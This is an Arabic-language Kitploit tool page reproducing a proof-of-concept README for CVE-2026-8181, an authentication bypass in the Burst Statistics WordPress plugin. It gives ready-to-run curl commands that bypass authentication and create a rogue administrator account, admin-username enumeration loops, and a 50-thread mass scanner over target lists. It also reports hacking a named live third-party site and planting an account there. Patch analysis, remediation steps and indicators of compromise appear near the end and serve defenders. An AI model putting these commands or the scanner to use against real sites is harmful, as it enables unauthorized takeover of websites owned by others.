Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-8181 — CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 تجاوز المصادقة غير المصادق عليه للاستيلاء على حساب المسؤول | إثبات المفهوم | Kitploit
أدوات/GitHubGitHub/zycoder0day/cve-2026-8181
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقالمصادقةالتعلم والتعليم
GitHubzycoder0day/cve-2026-8181

CVE-2026-8181

CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 تجاوز المصادقة غير المصادق عليه للاستيلاء على حساب المسؤول | إثبات المفهوم

عرض المستودع
572منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-8181 — تجاوز مصادقة Burst Statistics للاستيلاء على حساب المسؤول


📋 معلومات الثغرة

العنصرالتفاصيل
معرف CVECVE-2026-8181
البرنامج المساعدBurst Statistics – Privacy-Friendly WordPress Analytics
الإصدارات المتأثرة3.4.0 – 3.4.1.1
الإصدار المُصحَّح3.4.2
درجة CVSS9.8 (حرجة)
النوعCWE-287: Improper Authentication
متجه الهجومشبكة / عن بُعد / بدون مصادقة
التركيبات النشطة~200,000+
المكتشفPRISM, Wordfence Threat Intelligence
تاريخ النشر8 مايو 2026

🎯 الملخص

ثغرة تجاوز المصادقة الحرجة في البرنامج المساعد Burst Statistics لووردبريس من الإصدار 3.4.0 إلى 3.4.1.1 تتيح للمهاجم بدون مصادقة الحصول على وصول كامل بصلاحيات المسؤول في ووردبريس فقط بمعرفة اسم مستخدم المسؤول. وتتمثل النتيجة في الاستيلاء الكامل على حساب المسؤول، بما في ذلك إنشاء حسابات جديدة، وتعديل المحتوى، وحتى تثبيت برامج مساعدة ضارة.


🔬 التحليل الفني

السبب الجذري

تقع الثغرة في الدالة is_mainwp_authenticated() داخل الملف includes/Frontend/class-mainwp-proxy.php:

root@kitploit:~
// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field(
        wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
    );

    if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
        $credentials = base64_decode(substr($auth_header, 6), true);
        // ... parse username:password ...

        $is_valid = wp_authenticate_application_password(null, $username, $password);
        if (is_wp_error($is_valid)) {  // ← BUG: null BUKAN WP_Error!
            return false;
        }
        $user = get_user_by('login', $username);  // ← Auth hanya berdasarkan username!
        if (!$user || !user_can($user, 'manage_burst_statistics')) {
            return false;
        }
        wp_set_current_user($user->ID);  // ← Grant admin privileges
        return true;
    }
    return false;
}

الخطأ الرئيسي: تُرجع wp_authenticate_application_password(null, $username, $password) القيمة null (وليس WP_Error) عندما تكون كلمات مرور التطبيقات غير متاحة، ويحدث ذلك في الحالات التالية:

  • المواقع التي تعمل عبر HTTP (وليس HTTPS) حيث تُرجع wp_is_application_passwords_available() القيمة false
  • المواقع التي تُرجع فيها is_ssl() القيمة false

نظرًا لأن is_wp_error(null) = false، يواصل الكود التنفيذ إلى get_user_by('login', $username) الذي يقوم بالمصادقة بناءً على اسم المستخدم فقط دون أي تحقق من كلمة المرور على الإطلاق.

التنفيذ المبكر

يتم استدعاء الدالة has_admin_access() عند ربط plugins_loaded (الأولوية 9) في class-burst.php السطر 118:

root@kitploit:~
if ($this->has_admin_access()) {
    $this->admin = new Admin();
    $this->admin->init();
}

يعمل هذا الربط قبل معالجة مسارات REST API، وبالتالي فإن wp_set_current_user() يمنح صلاحيات المسؤول لجميع الطلبات — وليس فقط لنقاط نهاية Burst.

مسار الهجوم

root@kitploit:~
Attacker ──HTTP Request──▶ WordPress
  Headers:
    X-BURSTMAINWP: 1
    Authorization: Basic base64(admin:anything)
                │
                ▼
        [plugins_loaded hook fires]
                │
        Burst::bootstrap() → has_admin_access()
                │
        HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
                │
        wp_authenticate_application_password(null, 'admin', 'anything')
                │
        Situs HTTP → wp_is_application_passwords_available() = false
                │
        Return null (BUKAN WP_Error)
                │
        is_wp_error(null) = false ← BYPASS!
                │
        get_user_by('login', 'admin') → found
                │
        wp_set_current_user(admin_id) → FULL ADMIN
                │
        has_admin_access() = true
                │
        [REST API memproses request dengan konteks admin]
                │
        Attacker mengakses SELURUH endpoint WordPress sebagai administrator

💻 إثبات المفهوم

المتطلبات الأساسية

  • الهدف يعمل عبر HTTP (وليس HTTPS، أو أن SSL غير مكتشف بشكل صحيح)
  • البرنامج المساعد Burst Statistics الإصدار 3.4.0 – 3.4.1.1 مثبت ونشط
  • معرفة اسم مستخدم المسؤول (يمكن تعداده)

التثبيت

root@kitploit:~
pip3 install requests

الاستخدام — هدف واحد

root@kitploit:~
# Scan dasar
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k

# Buat akun admin baru
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k

# Dengan username custom
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k

الاستخدام — أهداف متعددة (ماسح شامل)

root@kitploit:~
python3 poc_CVE-2026-8181.py

الوضع التفاعلي:

  1. إدخال ملف قائمة الأهداف (.txt، نطاق واحد في كل سطر)
  2. ضبط عدد الخيوط (الافتراضي: 50)
  3. ضبط بيانات اعتماد الحساب الجديد
  4. تشغيل الفحص

صيغة targets.txt:

root@kitploit:~
target1.com
target2.com
192.168.1.100
subdomain.example.org

PoC مصغّر (curl)

root@kitploit:~
# Step 1: Verifikasi auth bypass
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
  "http://target.com/?rest_route=/wp/v2/users/me&context=edit"

# Step 2: Buat akun administrator baru
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/wp/v2/users" \
  -d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'

# Step 3: Dapatkan Application Password (kredensial persisten)
curl -s \
  -H "X-BURSTMAINWP: 1" \
  -H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
  -H "Content-Type: application/json" \
  -X POST \
  "http://target.com/?rest_route=/burst/v1/mainwp-auth" \
  -d '{}'

تعداد اسم مستخدم المسؤول

root@kitploit:~
# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'

# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'

# Method 3: Author enumeration
for i in $(seq 1 5); do
  curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done

✅ التحقق من النتائج

تم إجراء الاختبار على WordPress 6.9 مع Burst Statistics 3.4.1.1 (localhost):

الاختبارالنتيجةالدليل
الوصول إلى /wp/v2/users/me بدون مصادقةفشلrest_not_logged_in
الوصول باستخدام رؤوس التجاوزنجحملف المسؤول + البريد الإلكتروني + الأدوار
إنشاء حساب مسؤول جديدنجحمعرف المستخدم 2، الدور: administrator
قراءة إعدادات ووردبريسنجحعنوان الموقع، بريد المسؤول، الرابط
الحصول على كلمة مرور التطبيقنجحرمز Base64 admin:password
قائمة البرامج المساعدة المثبتةنجحقائمة كاملة مع الإصدارات

التحقق من هدف حي

الهدفالنتيجة
ausdermitte-binz.deتم الاختراق بنجاح — Burst 3.4.1.1، تجاوز عبر binzwpadmin، تم إنشاء حساب xenon1337 (المعرف: 30)

🔧 تحليل التصحيح (v3.4.2)

يعالج الإصلاح في الإصدار 3.4.2 عدة مشكلات:

  1. التحقق الصحيح من نوع القيمة المُرجعة:
root@kitploit:~
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) {  // ← Cek WP_User, bukan !WP_Error
    return false;
}
  1. فرض توفر كلمات مرور التطبيقات:
root@kitploit:~
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);
  1. اشتراط nonce لـ CSRF للطلبات المُصادق عليها عبر الكوكيز
  2. حماية إعادة استخدام nonce مع فرض الاستخدام لمرة واحدة عبر add_option()
  3. إزالة صيغة التوقيع القديمة التي لا تربط اسم المستخدم

🛡️ المعالجة

خطوات فورية

  1. تحديث Burst Statistics إلى الإصدار 3.4.2 أو أحدث
  2. تدقيق حسابات المستخدمين — تحقق من حسابات المسؤول غير المعروفة
  3. إبطال جميع كلمات مرور التطبيقات (user meta الخاصة بـ wp_application_passwords)
  4. مراجعة بريد المسؤول في ووردبريس والإعدادات الأخرى
  5. فحص البرامج المساعدة/القوالب غير المعروفة

كشف مؤشرات الاختراق

  • ابحث في سجلات الوصول عن طلبات تحتوي على الترويسة X-BURSTMAINWP: 1 من عناوين IP خارجية
  • راقب جدول wp_users بحثًا عن حسابات مسؤول جديدة
  • افحص wp_options بحثًا عن القيمة المؤقتة burst_mainwp_app_token_*
  • راجع كلمات مرور التطبيقات في ملفات تعريف المستخدمين

📁 الملفات المتوفرة

الملفالوصف
exploit_CVE-2026-8181.pyاستغلال PoC لهدف واحد
poc_CVE-2026-8181.pyماسح شامل متعدد الأهداف مع خيوط المعالجة
README.mdهذه الوثائق

⚠️ إخلاء المسؤولية

هذه الأداة وهذه الوثائق مخصصة فقط لاختبارات الأمان المشروعة بإذن صريح. الاستخدام غير المصرح به لأنظمة ليست ملكك أو بدون إذن كتابي غير قانوني. لا يتحمل المؤلف أي مسؤولية عن إساءة الاستخدام.


📚 المراجع

  • إشعار Wordfence
  • الكود المصدري المعرض للثغرة
  • مستودع برامج ووردبريس
  • تحليل WP-Safety

تنزيل الأداة